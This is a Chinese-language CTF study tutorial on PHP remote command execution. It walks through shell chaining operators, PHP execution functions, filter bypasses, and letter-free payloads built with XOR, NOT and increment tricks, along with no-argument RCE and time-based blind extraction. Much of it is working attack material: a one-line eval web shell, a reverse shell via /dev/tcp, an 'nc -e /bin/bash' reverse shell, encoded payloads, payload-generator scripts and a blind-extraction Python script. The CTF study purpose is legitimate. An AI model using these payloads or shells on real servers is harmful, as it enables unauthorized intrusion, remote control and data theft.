# RCE
RCE(remote command/code execute,远程命令执行)漏洞:以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时,就能运行我们想运行的命令,从而进行攻击。
# 命令拼接符号(Linux)
-
|:管道符,前面命令标准输出,后面命令的标准输入,或者说将前面的命令的输出内容作为后一个命令的标准输入,比如:echo "JGZsYWc9WkxBUllZezJMNDd5WX0="|base64 -d 输出内容: $flag=ZLARYY{2L47yY}当然,就算后面的命令不需要输入内容也可以执行:
echo "You are "|whoami 输出内容: ZLARYY //whoami命令执行的结果,可以看到不会输出前面的命令执行的内容 -
&:将前面的命令放在后台执行,不等前面的命令执行结束就开始执行后面的命令,还有一种用法是在一行命令末尾加上&符号使其放在后台运行,比如下载文件......:echo "flag=ZLARYY"&echo "{2L47yY}" 输出内容: [1] 2354 //[1]表示任务编号,是当前终端回话中开启的第一个后台任务,可以通过jobs命令查看,2354为进程ID(PID,Process ID),可以通过kill 2354来强制停止这个任务 {2L47yY} //这个是后面的前台命令执行的结果 flag=ZLARYY //前面的后台命令执行的结果 -
||:逻辑或,只有前面的命令执行失败才会执行后面的命令:echo "ZLARYY"||echo "can I be exeuted?" 输出内容: ZLARYY cat /flag.txt || echo "找不到 flag 文件!" 输出内容: cat: /flag.txt: No such file or directory 找不到 flag 文件! -
&&:逻辑与,只有前面的命令执行成功才会执行后面的命令:echo "ZLARYY"&&echo "sure I can be exeuted!" 输出内容: ZLARYY sure I can be exeuted! cat /flag.txt&&echo "can I be executed?" 输出内容: cat: /flag.txt: No such file or directory -
;:顺序执行,不论前面的命令执行是否成功,都会先执行前面的命令再执行后面的命令:echo "ZLARYY";echo "{2L47yY}" 输出内容: ZLARYY {2L47yY} -
$()和`:把括号或反引号里面的命令先执行,然后把它的输出结果当作字符串拼接到外层命令中:echo "You are $(whoami)" 输出内容: You are ZLARYY //将$()替换为``输出结果相同 -
():子shell运行,在一个全新且独立的子环境中执行,不会影响当前环境的变量或目录:(cd /tmp;ls) //输出内容是ls /tmp的内容,但不会改变当前环境所在目录 -
{}:和()类似,把命令组合起来但是是在当前环境中执行:{ cd /tmp;ls; } //输出内容为ls /tmp,并且目录跳转到/tmp 该符号使用必须在大括号内前后加上空格,并且最后一个命令必须加上分号
# 系统命令连接符(windows)
&:先执行前面的命令,再执行后面的命令:
echo "ZLA"&echo "RYY"

-
&&:逻辑与,只有前面的命令执行成功才会执行后面的命令:sort flag.txt&&echo "can I be executed?" echo "sure I can be executed!"&&echo "can I be executed?"

-
|:把前一个命令的输出结果当作后一个命令的标准输入:dir|findstr "flag.txt"
-
||:逻辑或,只有前面的命令执行失败才会执行后面的命令:sort flag.txt||echo "can I be executed?" echo "sure I can be executed!"||echo "can I be executed?"

# 系统命令执行函数
# system()
其作用是把当前正在运行的程序暂停后让底层操作系统(windows的CMD或Linux的Bash)执行一条系统命令之后返回结果
system(string $command, int &$result_code = null): string|false
-
$command:要执行的系统命令
-
$result_code:可选参数,存储命令执行后的返回状态码
-
返回值:成功返回输出的最后一行,失败返回false
<?php
highlight_file(__FILE__);
system("echo ZLARYY");

这段代码展现了system()的命令执行功能
<?php
highlight_file(__FILE__);
system("echo ZLARYY",$return);
echo "</br>".$return;

<?php
highlight_file(__FILE__);
system("cat /flag",$return);
echo "</br>".$return;

可以看到,前面的命令执行成功的话返回状态码为0,失败则返回1,并且就算命令执行失败也不影响后续代码执行
除此之外,system函数可以将命令执行的结果直接返回到界面上:
<?php
highlight_file(__FILE__);
system("sort flag.txt",$return);
echo "</br>".$return;

# passthru()
passthru()是php中用于执行外部程序并直接输出原始结果的函数,与system()函数差不多
passthru(string $command, int &$result_code = null): ?false
- $command:为要执行的系统命令字符串
- $result_code: 可选,用于接收命令的退出状态码
- 成功返回null,失败返回 false
<?php
highlight_file(__FILE__);
passthru("sort flag.txt",$return);
echo "</br>".$return;

不过相较于system()函数,passthru()可以把原始的二进制流正确地传给浏览器显示或下载
<?php
header("Content-Type: image/png");
passthru("type avertar.png");
最后你能打开浏览器看到图片文件
# exec()
相较于system()和passthru(),exec()只会将命令输出的最后一行作为函数的返回值,如果想得到完整输出内容 需要给他提供一个数组变量作为第二个参数,将每一行结果存储进去
<?php
highlight_file(__FILE__);
exec("echo ZLARYY");

由于我们在cmd中执行echo命令最终执行内容其实为:
ZLARYY
最后一行为空
<?php
highlight_file(__FILE__);
exec("echo ZLARYY",$array);
var_dump($array);
echo "</br>";
echo exec("echo ZLARYY");

可以用var_dump或者print_r打印数组
# shell_exec()
该函数可以将命令的完整输出作为字符串返回,但和exec函数一样不会主动返回
shell_exec(string $command): string|false|null
<?php
highlight_file(__FILE__);
echo shell_exec("type flag.txt");

# popen()
popen就是pipe open,该函数不会返回命令执行结果,而是返回一个文件指针,但是命令已经执行
popen(string $command, string $mode): resource|false
- $command:要执行的系统命令,可包含参数及重定向(如2>&1捕获错误输出)。
- $mode:"r"表示从进程读取(STDOUT),"w"表示向进程写入(STDIN)。在 Windows 下可用 "rb" / "wb" 避免换行符转换。
- 返回值是一个类似fopen()的文件指针,但必须用pclose()关闭。
<?php
highlight_file(__FILE__);
$a = popen("sort flag.txt","r");
var_dump($a);
$b = stream_get_contents($a);
echo "</br>".$b;

可以使用stream_get_contents()函数或者fread()
<?php
highlight_file(__FILE__);
$a = popen("sort flag.txt","r");
var_dump($a);
$b = fread($a,4096);
echo "</br>".$b;

在实际应用popen函数中要记得使用pclose关闭pipe
# proc_open()
proc_open和popen两个函数的区别在于:popen函数只能建立单向的pipe(要么只能读"r",要么只能写"w"),如果命令执行报错可能拿不到报错信息,而proc_open不仅能和底层操作系统建立进程联系,还能一次性接通三个pipe:
标准输入 (Stdin - 0号管):你可以通过这根管子,源源不断地给程序发送指令或数据。
标准输出 (Stdout - 1号管):你可以通过这根管子,读取程序正常执行返回的结果。
标准错误 (Stderr - 2号管):如果程序执行报错了(比如命令打错了、文件不存在),报错信息会专门从这根管子流出来!
相较于其他函数,proc_open明显要麻烦许多:
<?php
highlight_file(__FILE__);
//定义管道配置图
$descriptorspec = array(
0 => array("pipe","r"), //标准输入 (stdin):给命令喂数据
1 => array("pipe","w"), //标准输出 (stdout):接收命令正常的返回结果
2 => array("pipe","w") //标准错误 (stderr):接收命令的报错信息
);
//让php连接底层操作系统,并按管道配置图中接好的三根实体pipe放进$pipes这个数组
$process = proc_open('sort flag.txt',$descriptorspec,$pipes);
//用stream_get_contents()函数读取流中的内容
$output = stream_get_contents($pipes[1]);
$error = stream_get_contents($pipes[2]);
var_dump($process);
//输出结果
echo "</br>".$output;
当然也可以使用fread():
$output=fread($pipes[1]);


当我把flag.txt替换为/flag(实际不存在),也能实现报错:
$error=stream_get_contents($pipes[2]);

利用$pipes[0],我们还可以实现动态给sort命令写入数据
<?php
highlight_file(__FILE__);
$descriptorspec = array(
0 => array("pipe","r"),
1 => array("pipe","w"),
2 => array("pipe","w")
);
$process = proc_open('sort',$descriptorspec,$pipes);
fwrite($pipes[0],"A\r\n");
fwrite($pipes[0],"C\r\n");
fwrite($pipes[0],"B\r\n");
fclose($pipes[0]);
$output = fread($pipes[1],4096);
$error = stream_get_contents($pipes[2]);
var_dump($process);
echo "</br>".$output;
echo "</br>".$error;

sort这个命令后续详细再提,在这里它的功能是按首字母进行排序,这里不用flag.txt是因为根本不会去执行sort flag.txt这个命令,因为你传进去的数据作为标准输入,而不是命令行参数
# pcntl_exec()
pcntl 全称是 Process Control (进程控制),直接调用了操作系统的核心系统调用(在 Linux 下底层就是 execve),它是专门为 Linux/Unix (POSIX 兼容) 系统设计的扩展,所以在windows环境下无法使用这个函数
pcntl_exec(string $path, array $args = [], array $env_vars = []);
- $path: 可执行文件的路径,或者包含解释器路径的脚本(如 #!/usr/bin/php)。
- $args: 传递给程序的参数数组。
- $env_vars: 传递给程序的环境变量数组,格式为 key => value。
调用pcntl_exec后,当前进程会被替换为指定的程序,原进程的代码段、数据段和堆栈段都会被新程序替换,但进程号保持不变。
<?php
pcntl_exec("/bin/cat",array("flag.txt"));
?>
执行到pcntl_exec之后,php脚本会消散而被bash身份取代
可以利用这个函数进行反弹shell:
<?php
// PHP,请你立刻去死,并转生为一个连接10.0.0.1的Bash终端!
pcntl_exec("/bin/bash", array("-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"));
?>
# eval
eval这个东西不属于系统命令执行函数一类,他可以将参数作为php代码来执行,但他又不属于函数一类,而是与echo,if,while等一类的语言结构,就连disable_function都限制不了
对于eval的应用还是特别常见的:
<?php @eval($_POST['cmd']);?> //一句话木马
当我们传入:
cmd=ls
cmd=cat flag
就能实现目录穿越和文件查看了
<?php
highlight_file(__FILE__);
eval('system("sort flag.txt");');

# assert
assert,翻译叫做断言,属于一个标准函数
assert($a==1)
如果$a的确等于1,那就不会发生什么,反之报错退出
但如果assert里面的内容不是判断语句,那么他就会像eval一样把字符串当作php代码执行。
<?php
highlight_file(__FILE__);
assert('system("sort flag.txt");');

# preg_replace
这个函数原本是用来做正则表达式搜索和替换的:
<?php
highlight_file(__FILE__);
$flag='flag{2L47yY}';
echo preg_replace("/flag/","ZLARYY",$flag);
//将$flag中的flag替换为ZLARYY

不过在\e修饰下的preg_replace函数,php不会把替换后的内容当作普通字符串,而是当作php代码执行
<?php
highlight_file(__FILE__);
$flag='flag{2L47yY}';
echo "<pre>";
preg_replace("/.*/e","system('type flag.txt');",$flag);
//.表示任意一个字符,*表示重复0次或无数次

这里输出两次是由于preg_replace进行了两次替换,第二次替换是将$flag字符串末尾的空字符替换了。
注意:替换后的内容现需要有返回值 ,否则会出现报错
<?php
highlight_file(__FILE__);
$flag='flag{2L47yY}';
preg_replace("/.*/e","echo 1",$flag);

这是由于我无法把echo 1赋值给一个变量,所以需要system函数提供返回值
# php可变函数
php可变函数源自于php中的一个规则:如果在一个变量的后面加上一对圆括号 (),PHP 就会自动去寻找与这个变量的值同名的函数,并尝试执行它,注意:找的是同名函数,eval和echo这种语言结构不适用
<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
$func($arg);

$func->system $arg->'type flag.txt'理解起来不难,最后一行代码变成了system('type flag.txt');
# create_function
create_function最开始作用是创建函数:
<?php
highlight_file(__FILE__);
$add=create_function('$a,$b','return $a+$b;');
echo $add(10,20);

不过他的底层逻辑实际上是这样:
eval("function \0lambda_1($a,$b){return $a+$b;}")
所以如果create_function内部参数可控的话,可以构造字符串闭合掉原本的function执行其他代码:
<?php
highlight_file(__FILE__);
$name=$_GET['name'];
$a=create_function('','echo "'.$name.'";');
$a();

但如果我传入:
?name=ZLARYY";} system("type flag.txt");/*

显然成功执行了后面的代码
# call_user_func()
这个函数理解起来也挺好的,他有两个参数,第一个参数为函数名,第二个参数为函数内部的参数:
<?php
highlight_file(__FILE__);
call_user_func('system','echo ZLARYY');

实际上就是执行了system('echo ZLARYY');
<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
call_user_func($func,$arg);

话说是不是很像php可变函数
# call_user_func_array
这个函数与call_user_func函数差不多,只是他的第二个参数变成需要传入一个数组进去:
<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
call_user_func_array($func,$arg);
也就是说需要传入
/?a=system&b[]=type flag.txt

# array_map
该函数的作用是把一个函数作用到数组的每一个元素中:
<?php
// 一个普通的转换函数 (PHP 内置函数,转大写)
$func = 'strtoupper';
$data = array('a', 'b', 'c');
// array_map 开始工作:把 strtoupper 挨个作用于 'a', 'b', 'c'
$result = array_map($func, $data);
print_r($result);
// 输出:Array ( [0] => A [1] => B [2] => C )
?>
那么我们就可以利用它一次执行多个命令:
<?php
highlight_file(__FILE__);
$func=$_GET['a'];
$arg=$_GET['b'];
array_map($func,$arg);

%26是&的URL编码,这里在传参只能用%26而不能用&连接
# 常规绕过
我们已经了解了RCE漏洞相关的函数和语言结构,现在可以看看一些常规的过滤绕过技巧了:
# 空格过滤
-
如果是web传参,可以用
%09和%20等URL编码代替

-
可以用
$IFS$1-9代替
-
用
${IFS}或者<>代替
-
花括号
{}{sort,flag.txt} //单命令最后也需要加上逗号 {ls,}
注:windows系统下测试${IFS}一类会失败,这些仅限于Linux的Bash
# 关键字过滤
-
base64编码绕过
echo "c29ydCBmbGFnLnR4dA=="|base64 -d|sh //利用管道符的标准输出与标准输入,实际上执行sort flag.txt
-
hex编码绕过
echo "736f727420666c61672e7478740a"|xxd -r -p|sh echo "sort flag.txt"|xxd //这行命令可以输出hex编码
如果服务器没有xxd命令可以使用$()命令替换等:
$(printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74") `printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74"` printf "\x73\x6F\x72\x74\x20\x66\x6C\x61\x67\x2E\x74\x78\x74"|sh
-
拼接绕过
这个技巧在一些时刻可以用于拼接assert,但是不能用于拼接eval
//假如过滤了sort a=so;b=rt;$a$b flag.txt
-
%0a绕过绕过
;ls%0acat /flag //可以同时执行ls和cat命令 -
内联执行
echo "a `sort flag.txt`" //命令行会先执行反引号里面的内容,再输出内容拼接到外层
-
引号截断
sort fl""ag.txt sort fl''ag.txt
-
通配符代替
?可以用来代替匹配一个字符 *可以用来匹配多个字符 sort fl?????? sort fl*
-
反斜杠转义
so\rt fl\ag.txt //过滤了sort和flag字符
-
方括号
[]sort fl[a]g.txt //不可用于sort等关键字
# 无字母无数字RCE
# 异或
如果题目要求不能使用字母和数字:
preg_replace('/[a-z0-9]/is',$_GET['cmd'])
可以采用异或运算:
如果a,b两个值不相同则异或结果为1,相同则为0
<?php
highlight_file(__FILE__);
echo "5"^"Z";

这里的结果显示5和Z的异或结果为o,具体原理如下:
5的二进制:00110101
Z的二进制:01011010
按位进行异或运算:01101111 -> 解码结果为o
所以我们可以通过其他字符比如%$*&等经过异或运算得到字母数字
<?php
highlight_file(__FILE__);
function o(){
echo "ZLARRY";
}
$_="5"^"Z";
$_();

在做无字母无数字RCE还有一个技巧就是用_来命名
这里给出橙子科技的异或运算脚本:
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$shell = $_GET['cmd'];
$result1="";
$result2="";
function judge($c){
if(!preg_match('/[a-z0-9]/is',$c)){
return true;
} return false;
}
for($num=0;$num<strlen($shell);$num++){
for($x=33;$x<=126;$x++){
if(judge(chr($x))){
for($y=33;$y<=126;$y++){
if(judge(chr($y))){
$f = chr($x)^chr($y);
if($f == $shell[$num]){
$result1.=chr($x);
$result2.=chr($y);
break 2;
}
}
}
}
}
}
echo "</br>";
echo "异或运算第一部分:".$result1;
echo "</br>";
echo "异或运算第二部分:".$result2;

传入cmd为需要的字符串就可以得到结果

<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_replace('/0-9a-z/is',$_GET['cmd'])){
eval($_GET['cmd']);
}
比如这道题目就可以用异或出来的两部分:
异或运算第一部分:+(+).&/
异或运算第二部分:[@[@@@@
//构造phpinfo
然后传入:
/?cmd=$_="%2B(%2B).%26%2F"^"%5B%40%5B%40%40%40%40";$_();
//经过URL编码

如果我们希望执行其他一些RCE命令,可以通过写一句话木马(php5条件下):
<?php
$_='assert'; //assert替换为"!((%)("^"@[[@[\"
$__='_POST'; //_POST替换为"!+/(("^"~{`{|"
$___=$$__;
$_($___['_']);
?>
<?php
$_="!((%)("^"@[[@[\\"; //这里需要多加一个反斜杠转义\,否则会出错
$__="!+/(("^"~{`{|";
$___=$$__;
$_($___['_']);
?>
这样我们就可以post提交ls,cat /flag等命令

此外还需要进行URL编码
php7条件下不能使用assert,但可以使用``` 反引号 : $_POST['_'] 但是没有回显
<?php
$_="!+/(("^"~{`{|";
$__=$$_;
`$__[_]`;
?>
所以可以采用反弹shell:
kali上开启监听:
nc -lvp 7777
POST提交:
_=nc [ip] 7777 -e /bin/bash
# 取反
具体思路与异或差不多,取反顾名思义就是按位将1变为0,将0变为1
~()会对括号里面的内容进行取反
<?php
$a='a';
echo bin2hex($a);
这串代码输出a的 ASCII码结果为61,对应二进制为01100001,经过取反后变成10011110对应十六进制为9E,但是由于ASCII码十六进制最大为7F,故%9E这个字符其实不存在
<?php
$a='%9E';
$b=~(urldecode($a));
echo $b;
//输出内容为a
但是经过取反可以看到输出了字母a,就可以实现无字母绕过
此外橙子科技 给了一种中文字符串的方法:
<?php
$a="极";
echo bin2hex($a);
echo ~($a{1});
//这串代码输出结果前一行为e69e81,0位e6,1位9e,2位81
//所以最后取反$a{1}其实就是取反$a的1位9e,即~(9e)结果为a
这个的payload老长一串,想一下还是用URL编码的poc吧(php5):
<?php
$_=~("%9e%8c%8c%9a%8d%8b"); //assert
$__=~("%a0%af%b0%ac%ab"); //_POST
$___=$$__;
$_($___['_']);
?>

php7条件下还是用反引号:
<?php
$_=~("%a0%af%b0%ac%ab");
$__=$$_;
`$__['_']`;
?>
然后还是使用shell反弹
# 自增
<?php
$a=A;
echo ++$a;
?>
这串代码输出结果为B,利用这个原理我们可以实现绕过,只要获取A我们就可以获得其他字母
++$a //先累加再输出
$a++ //先输出再累加
获取A的方法:
<?php
$_=[].'';
echo $_[0];
?>
原因是[]本来作为一个数组,后面用.拼接上字符串后var_dump结果就变成了字符串Array
<?php
highlight_file(__FILE__);
$_=[];
var_dump($_);
$__=[].'';
echo "</br>";
var_dump($__);

那么我们就可以通过$_[0]获取字母A

但是又由于无数字,所以还需要稍作修改:
<?php
$_=[].'';
echo $_[$__];
//$__变量不存在,假值0
?>
橙子科技的自增脚本:
<?php
highlight_file(__FILE__);
$cmd=strtoupper($_GET['cmd']);
$cmd2=strtoupper($_GET['post']);
function POC($cmd){
$i=0;
$POC_pat1="\$__=\$___;";
$POC_pat2="\$_.=\$__;";
while ($i<strlen($cmd)){
$str1=$cmd[$i];
$POC1=base_convert(bin2hex("A"),16,10);
if($i<1){
$POC_pat3=str_repeat("++\$__;",$POC1);
echo $POC_pat3;
}else{
$str2=$cmd[$i-1];
if($str1==$str2){
$POC_pat5=$POC_pat2;
echo $POC_pat5;
}else{
$POC_pat6=$POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat6;
}
}
$i++;
}
}
function POC2($cmd){
$i=0;
echo '$____ = "_";$__=$___;';
$POC_pat1="\$__=\$___;";
$POC_pat2="\$____.=\$__;";
while ($i<strlen($cmd)){
$str1=$cmd[$i];
$POC1=base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
if($i<1){
$POC_pat3=str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat3;
}else{
$str2=$cmd[$i-1];
if($str1==$str2){
$POC_pat5=$POC_pat2;
echo $POC_pat5;
}else{
$POC_pat6=$POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
echo $POC_pat6;
}
}
$i++;
}
}
if(!empty($cmd)){
$POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;";
echo $POC_pat7;
POC($cmd);
}
if(!empty($cmd2)){
POC2($cmd2);
}
传入:
/?cmd=assert&post=POST
结果为:
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;
上面这一大段内容中就存在了assert和POST
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_.=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;
$__=$$____;
$_($__['_']);
最后两行就是$_POST和assert($_POST['_'])了


记得需要URL编码
php7只需要获得一个POST(前提是得先获得A):
传入/?cmd=a&post=POST
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____.=$__;
$_=$$____;
`$_`;
# 无参数RCE
题目如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(';'===preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])){
eval($_GET['code']);
}
?>
preg_replace('/[^\W]+\((?R)?\)/','',$_GET['code'])
其中这段代码:
正则表达式[^\W]匹配字母数字下划线[A-Za-z0-9_]
[^\W]+\((?R)?\)匹配到"a()"形式的字符串,但是()里面不能出现任何参数
(?R)代表递归,即a(b(c()))都能匹配
<?php
error_reporting(0);
highlight_file(__FILE__);
$c="ZLARYY";
$d="ZLARYY()";
$e="ZLARYY(2L47yY)";
$a=preg_replace('/[^\W]+\((?R)?\)/','',$c);
$b=preg_replace('/[^\W]+\((?R)?\)/','',$d);
$f=preg_replace('/[^\W]+\((?R)?\)/','',$e);
echo $a."</br>".$b."</br>".$f;

可以看到这个匹配只把第二项替换为空,而题目的意思是如果被替换后的字符串只剩下分号,那么就放进去执行eval
# 请求头绕过
getallheaders():获取所有HTTP请求标头
pos():获取数组第一项的值
end():获取数组最后一项的值
但是我们需要用print_r打印结果

使用view-source查看就是这样:


调用pos()函数获取getallheaders()返回数组的第一项内容,得到的却是Connection里面的内容,这里就是无参数RCE漏洞的利用地方了:
Connection: system("sort flag.txt");
//通过这样修改可以将最后的code变为:
code=print_r(system("sort flag.txt"););
//如果我们将pirnt_r换成eval,那么就可以执行命令:
code=eval(system("sort flag.txt"););

除了修改Header,还可以添加Header:

apache_request_headers()功能与getallheaders()相似,适用于Apache服务器
# 全局变量(php5/7)
get_defined_vars():返回所有已定义变量的值所组成的数组
返回数组顺序为GET->POST->COOKIE->FILES

之后我们可以通过添加传参数量来增加变量键值对

其实从前两张图不难看出结果是两个数组嵌套,上一张图片我采用了pos获取了数组中的第一个数组,现在我还想要获取这个数组中的最后一项的值,可以采用调用end函数:

那么和请求头绕过一样,我们可以将print_r改为eval就可以了:

# session
session_start():启动新会话或者重用现有会话,成功开始会话会返回TRUE,反之返回FALSE
session_id():可以获取PHPSEEID的值


这样我们是不是就可以通过burp修改PHPSESSID为执行命令的函数来实现RCE了:

貌似不行,不过修改为flag.txt倒是能按预期显示:

那就好办了:
show_source():可以查看括号内文件名所含的文件内容

不过如果想要执行eval的话也可以:
需要先把命令HEX编码转为十六进制写入PHPSESSID,再用hex2bin函数将十六进制转为二进制,用eval执行

其中PHPSESSID是system("sort flag.txt");的编码结果
# scandir读取
# scandir()
scandir():类似ls,在某文件路径下,把内容以列表形式显示出来
<?php
highlight_file(__FILE__);
print_r(scandir('.'));
//scandir里面必须要有路径

# getcwd()
getcwd():类似pwd,获取当前工作目录路径

# current()与next()
current():返回数组的第一个内容,与pos()类似
next():把数组中的第二个内容显示出来

# array_reverse()
array_reverse():按照倒序重新排列数组

# array_flip()与array_rand()
array_flip():将数组中的键名与值对换
array_rand():从数组中随机取出一个或多个随机键

每一次刷新界面都可能改变产生的随机值
# chdir()
chdir():系统调用函数,同cd,用于改变当前工作目录

如果是确定了路径返回为1,否则返回为0
# strrev()
strrev():用于反转给定的字符串
# crypt()
crypt():用于加密,目前Linux平台上的加密方法大致有MD5,DES,3 DES
# hebrevc()
hebrevc():把希伯来文本从右至左的流转换为从左至右的流
# localeconv()
localeconv():查看当前目录名

这个数组的第一个键值对的值为一个点.,可以用current()获得,配合上scandir()就可以查看当前目录下的所有文件:
<?php
highlight_file(__FILE__);
print_r(scandir(current(localeconv())));

这里为了方便,我把php文件和flag.txt放在了flag文件夹里

那么我们可以采用这种方法:
print_r(array_reverse(scandir(current(localeconv()))));

用array_reverse把数组倒序排列之后我们就可以再用current()和show_source读取到文件内容了:
show_source(current(array_reverse(scandir(current(localeconv())))));

# dirname()
dirname():可以把上一个目录的绝对路径输出
那么我想查看上级目录就可以用到:
print_r(scandir(dirname(getcwd())));

不过这种条件下我们不能使用show_source来查看文件,因为show_source是基于当前页面路径来的,一定要查看的话就只能使用chdir()了
/?code=print_r(chdir(dirname(getcwd())));

返回1说明目录跳转到上级成功
/?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));

我的理解就是后半部分为chdir跳转目录的参数,与实际是否跳转目录无关,最后再dirname帮助用户从视觉上跳转到上级目录,这样就可以用show_source查看文件了
那像这种情况,我想读取的文件既不在开头又不在末尾,就可以使用array_flip和array_rand
/?code=print_r(array_flip(array_rand(scandir(dirname(chdir(dirname(getcwd())))))));

这样虽然是随机的,但是多刷新几次总会能用show_source查看到的:
/?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
//由于没有把flag.txt转移出来,将就看咯^ _ ^

# 根目录
我想回到根目录怎么操作:
/?code=print_r(array());
/?code=print_r(serialize(array()));
//用serialize序列化
/?code=print_r(crypt(serialize(array())));
//crypt单向字符串三列加密,结果随机

某些随机的结果下,字符串末尾会出现/根目录字符,此时只需要使用strrev进行倒序排列
/?code=print_r(strrev(crypt(serialize(array()))));
# ord()与chr()
ord():对字符串的第一个字符进行编码
chr():对编码字符进行解码
有了这两个函数我们就可以从长串字符串中获得第一个/字符
/?code=print_r(chr(ord(strrev(crypt(serialize(array()))))));

然后我们继续采用scandir就可以实现与ls /一样的功能了:
/?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
通常情况下根目录下flag文件都不会出现在首末,所以又需要一个随机的array_rand(array_flip())套上去
/?code=print_r(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
这样随机加上随机,等查看到flag不知道要刷新多少次,建议使用burp的intruder
还记得show_source的特性吗,必须还要嵌套上dirname(chdir()):
/?code=print_r(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));
# 无回显
页面无法shell反弹或者无法回显,或者没有写入权限可以尝试命令盲注,根据返回时间判断
sleep:指定页面响应时间
awk NR:语法为awk NR==number,比如awk NR==1为回显第一行的内容
//cat flag|awk NR==1
cut -c:语法为cut -c number,比如cut -c 1为显示第一个字符
//cat flag|awk NR==1|cut -c 1

if判断语句:
if [ /*条件*/ ];then /*动作*/;fi(finish的意思)
//注意空格

所以可以类比SQL注入里面的时间盲注:
if [ $(cat flag.txt|awk NR==1|cut -c 1)==f ];then sleep 2;fi
如果条件为真,那么延迟两秒响应,这里是橙子科技给的python脚本:
import requests
import time
url="/*目标URL*/"
result=""
for i in range(1,5):
for j in range(1,10):
for k in range(32,128):
k=chr(k)
time.sleep(0.1)
payload="?cmd=(传参格式)"+"if [ `ls|awk NR=={i}|cut -c {j}`=={k} ];then sleep 2;fi"
try:
requests.get(url+payload,timeout=(1.5,1.5))
except:
result=result+k
print(result)
break
result +=""
需要修改的就是目标URL和传参格式以及命令
# 限制长度的RCE
这一part本人的docker有点问题就没有演示了orz
# 限制长度为7
例题:
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($argv){
$a=str_replace("/\*|\?|/","=====",$argv);
return $a;
}
if(isset($_GET['cmd'])&&strlen($_GET['cmd'])<=7){
exec(filter($_GET['cmd']));
}else{
echo "flag in local path flag file!!";
}
?>
需要的命令符:
> 创建不超过七个长度的文件名
ls -t 按时间顺序列出文件名,按行储存
\ 连接换行命令
sh 从文件中读取命令
